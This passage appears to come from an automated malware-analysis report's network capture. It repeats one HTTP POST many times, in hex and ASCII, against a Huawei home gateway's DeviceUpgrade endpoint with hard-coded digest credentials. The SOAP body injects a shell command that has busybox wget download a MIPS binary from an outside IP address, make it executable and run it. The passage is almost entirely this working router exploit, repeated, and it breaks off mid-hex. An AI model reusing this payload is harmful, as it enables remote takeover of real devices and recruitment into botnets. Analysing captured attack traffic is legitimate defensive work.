2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 